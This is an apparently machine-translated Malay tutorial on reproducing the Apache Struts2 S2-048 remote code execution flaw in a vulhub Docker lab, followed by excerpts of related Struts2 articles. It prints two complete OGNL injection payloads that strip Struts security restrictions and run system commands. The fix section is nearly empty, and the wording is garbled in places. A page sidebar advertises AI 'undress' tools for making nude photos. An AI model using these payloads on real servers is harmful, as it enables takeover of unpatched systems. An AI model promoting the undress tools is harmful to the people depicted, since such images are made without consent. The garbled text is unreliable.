


Bagaimana untuk menghasilkan semula kelemahan pelaksanaan kod jauh Apache Struts2--048
0x00Pengenalan
Rangka kerja Struts2 ialah seni bina aplikasi web sumber terbuka untuk membangunkan aplikasi web Java EE . Ia menggunakan dan memanjangkan Java Servlet API dan menggalakkan pembangun untuk mengguna pakai seni bina MVC. Struts2 mengambil idea reka bentuk cemerlang WebWork sebagai teras, menyerap beberapa kelebihan rangka kerja Struts dan menyediakan rangka kerja aplikasi Web yang lebih kemas yang dilaksanakan dalam corak reka bentuk MVC.
Gambaran Keseluruhan Kerentanan 0x01
Siri Apache Struts2 2.3.x mempunyai pemalam struts2-struts1-plugin didayakan dan direktori struts2-showcase wujud kerentanan ialah apabila ActionMessage menerima pelanggan data parameter Boleh dikawal, pemprosesan yang tidak betul selepas penyambungan dan penghantaran data seterusnya membawa kepada pelaksanaan kod arbitrari
0x02 Skop Impak
Struts2 didayakan dalam Apache Struts 2.3.x series -struts1-plugin versi pemalam.
Pembinaan persekitaran 0x03
1 Lebih rumit untuk membina Apache Struts2 sendirian ini dibina menggunakan persekitaran docker dalam vulhub.
Alamat muat turun: https://github.com/vulhub/vulhub
2 Selepas memuat turun, nyahzip dan masukkan direktori s2-048, mulakan persekitaran kerentanan
cd cd vulhub -master/struts2/s2-048/ //Masukkan direktori
docker-compose up -d //Mulakan julat penangkapan
3. Gunakan docker ps untuk menyemak sama ada permulaan berjaya
4 dalam penyemak imbas dan lihat persekitaran halaman berikut Pembinaan selesai
0x04 pengulangan kerentanan
1 Masukkan pautan berikut dalam penyemak imbas untuk mengakses halaman kerentanan
http://192.168.3.160:8080/integration/saveGangster.action
2 Masukkan ${1+1} dalam bentuk pertama "Nama Gangster", Masukkan apa sahaja yang anda mahu di bawah dan klik hantar untuk melihat ungkapan OGNL yang dilaksanakan
2. Letakkan ${1+1 at Gangster Name" }Ubah suai penyata muatan yang dilaksanakan oleh perintah berikut
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm) :((#container=#context[' com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil .getExcludedPackageNames().clear()). (#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils @toString(@java.lang.Runtime@ getRuntime().exec('id').getInputStream())).(#q)}
3. Anda juga boleh Gunakan Burp packet capture untuk mengubah suai penyata muatan yang dilaksanakan oleh arahan
Nota: Muatan perlu menggunakan pengekodan URL
%{( #dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?( #_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=# container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class )).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess (#dm)))).(#cmd='id') .(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))) .(#cmds=(#iswin?{'cmd.exe', '/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java .lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream( true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse(). getOutputStream())).(@org.apache.commons.io. IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
4. Ia boleh dilaksanakan menggunakan skrip automatik atau alatan grafik, dan tidak ditunjukkan di sini.
Alat boleh dicari dan dimuat turun di GitHub
cadangan pembaikan 0x05
1
2. Mengikut situasi perniagaan, lumpuhkan dan tutup (padam) pakej struts-2.3.xappsstruts2-showcase.warAtas ialah kandungan terperinci Bagaimana untuk menghasilkan semula kelemahan pelaksanaan kod jauh Apache Struts2--048. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Alat AI Hot

Undresser.AI Undress
Apl berkuasa AI untuk mencipta foto bogel yang realistik

AI Clothes Remover
Alat AI dalam talian untuk mengeluarkan pakaian daripada foto.

Undress AI Tool
Gambar buka pakaian secara percuma

Clothoff.io
Penyingkiran pakaian AI

AI Hentai Generator
Menjana ai hentai secara percuma.

Artikel Panas

Alat panas

Notepad++7.3.1
Editor kod yang mudah digunakan dan percuma

SublimeText3 versi Cina
Versi Cina, sangat mudah digunakan

Hantar Studio 13.0.1
Persekitaran pembangunan bersepadu PHP yang berkuasa

Dreamweaver CS6
Alat pembangunan web visual

SublimeText3 versi Mac
Perisian penyuntingan kod peringkat Tuhan (SublimeText3)

Topik panas



1. Pengenalan Kerentanan Struts2 ialah siri kerentanan klasik Punca utama ialah Struts2 memperkenalkan ungkapan OGNL untuk menjadikan rangka kerja itu fleksibel dan dinamik. Dengan tampalan rangka kerja keseluruhan yang dipertingkatkan, kini akan menjadi lebih sukar untuk menemui kelemahan Struts2 baharu berbanding sebelum ini, berdasarkan situasi sebenar, kebanyakan pengguna telah pun membaiki kelemahan sejarah yang berisiko tinggi. Pada masa ini, apabila melakukan ujian penembusan, kelemahan Struts2 kebanyakannya dibiarkan secara kebetulan, atau akan lebih berkesan untuk menyerang sistem yang tidak ditambal selepas terdedah kepada intranet. Artikel analisis di Internet terutamanya menganalisis kelemahan Struts2 ini dari perspektif serangan dan eksploitasi. Sebagai pasukan pelanggaran dan pertahanan H3C yang baharu, sebahagian daripada tugas kami ialah mengekalkan asas peraturan produk ips Hari ini kami akan menyemak sistem ini.

Prinsip rangka kerja Struts2: 1. Pemintas menghuraikan laluan permintaan; menghurai. Prinsipnya adalah berdasarkan mekanisme pemintas, yang memisahkan sepenuhnya pengawal logik perniagaan daripada API Servlet, meningkatkan kebolehgunaan semula dan kebolehselenggaraan kod. Dengan menggunakan mekanisme refleksi, rangka kerja Struts2 boleh membuat dan mengurus objek Tindakan secara fleksibel untuk memproses permintaan dan respons.

Siri kerentanan Vulhub: kerentanan struts2 S2-0011 Penerangan kerentanan: kerentanan struts2 S2-001 ialah apabila pengguna menyerahkan data borang dan pengesahan gagal, pelayan menggunakan ungkapan OGNL untuk menghuraikan nilai parameter yang sebelum ini diserahkan oleh pengguna, %{value} dan mengisi semula data borang yang sepadan. Contohnya, dalam halaman pendaftaran atau log masuk. Jika penyerahan gagal, pelayan biasanya akan lalai untuk mengembalikan data yang telah diserahkan sebelum ini. Memandangkan pelayan menggunakan %{value} untuk melaksanakan penghuraian ungkapan OGNL pada data yang diserahkan, pelayan boleh terus menghantar muatan untuk melaksanakan arahan. 2. Eksploitasi kelemahan Vulhub: Menggunakan vulhub untuk menghasilkan semula kelemahan boleh menjimatkan proses pembinaan persekitaran, yang sangat mudah. vu

Kata Pengantar Pada 22 Ogos 2018, Apache Strust2 mengeluarkan buletin keselamatan terbaharu Apache Struts2 mempunyai kerentanan pelaksanaan kod jauh berisiko tinggi (S2-057/CVE-2018-11776). Pasukan SemmleSecurityResearch. Kerentanan ini disebabkan oleh fakta bahawa apabila menggunakan fungsi ruang nama untuk mentakrifkan konfigurasi XML dalam rangka kerja pembangunan Struts2, nilai ruang nama tidak ditetapkan dan tidak ditetapkan dalam konfigurasi tindakan lapisan atas (ActionConfiguration) atau ruang nama kad liar digunakan, yang boleh membawa kepada pelaksanaan kod jauh. Dengan cara yang sama, u

0x00 Pengenalan Struts2 ialah rangka kerja sumber terbuka JavaWeb yang sangat berkuasa yang dilancarkan oleh organisasi perisian Apache, yang pada asasnya bersamaan dengan servlet. Struts2 adalah berdasarkan seni bina MVC dan mempunyai struktur rangka kerja yang jelas. Ia biasanya digunakan sebagai pengawal untuk mewujudkan interaksi data antara model dan pandangan, dan digunakan untuk mencipta aplikasi web Java peringkat perusahaan Ia menggunakan dan memanjangkan JavaServletAPI dan menggalakkan pembangun untuk mengguna pakai seni bina MVC. Struts2 mengambil idea reka bentuk cemerlang WebWork sebagai teras, menyerap beberapa kelebihan rangka kerja Struts dan menyediakan rangka kerja aplikasi Web yang lebih kemas yang dilaksanakan dalam corak reka bentuk MVC. 0x01 kerentanan

0x00 Pengenalan Rangka kerja Struts2 ialah seni bina aplikasi web sumber terbuka untuk membangunkan aplikasi web JavaEE. Ia menggunakan dan meluaskan JavaServletAPI dan menggalakkan pembangun untuk mengguna pakai seni bina MVC. Struts2 mengambil idea reka bentuk cemerlang WebWork sebagai teras, menyerap beberapa kelebihan rangka kerja Struts dan menyediakan rangka kerja aplikasi Web yang lebih kemas yang dilaksanakan dalam corak reka bentuk MVC. Gambaran keseluruhan kerentanan 0x01 Siri ApacheStruts22.3.x mempunyai pemalam struts2-struts1-plugin didayakan dan direktori struts2-showcase wujud apabila ActionMe

1. Gambaran Keseluruhan Struts ialah projek sumber terbuka yang ditaja oleh Yayasan Perisian Apache (ASF). Ia bermula sebagai sub-projek dalam projek Jakarta dan kemudiannya menjadi projek peringkat atasan ASF. Ia melaksanakan rangka kerja aplikasi [WebFramework] berdasarkan corak reka bentuk Model-View-Controller [MVC] bagi aplikasi Web JavaEE dengan menggunakan teknologi JavaServlet/JSP Ia adalah produk klasik dalam corak reka bentuk klasik MVC. Pada masa awal pembangunan aplikasi web JavaEE, selain menggunakan teknologi Servlet, HTM biasanya digunakan dalam kod sumber JavaServerPages (JSP).

Pada masa ini, Apache secara rasmi telah mengeluarkan kemas kini versi untuk membetulkan kelemahan. Adalah disyorkan bahawa pengguna mengesahkan versi produk Apache Struts tepat pada masanya. Jika terjejas, sila ambil langkah menampal tepat pada masanya. 1. Pengenalan Kerentanan ApacheStruts2 ialah sub-projek projek Jakarta di bawah Yayasan Perisian Apache Amerika Ia adalah rangka kerja aplikasi Web berdasarkan reka bentuk MVC. Pada 22 Ogos 2018, Apache secara rasmi mengeluarkan Apache Struts2S2-057 kerentanan keselamatan (CNNVD-201808-740, CVE-2018-11776). Apabila mendayakan fungsi ruang nama pan dalam rangka kerja pembangunan struts2
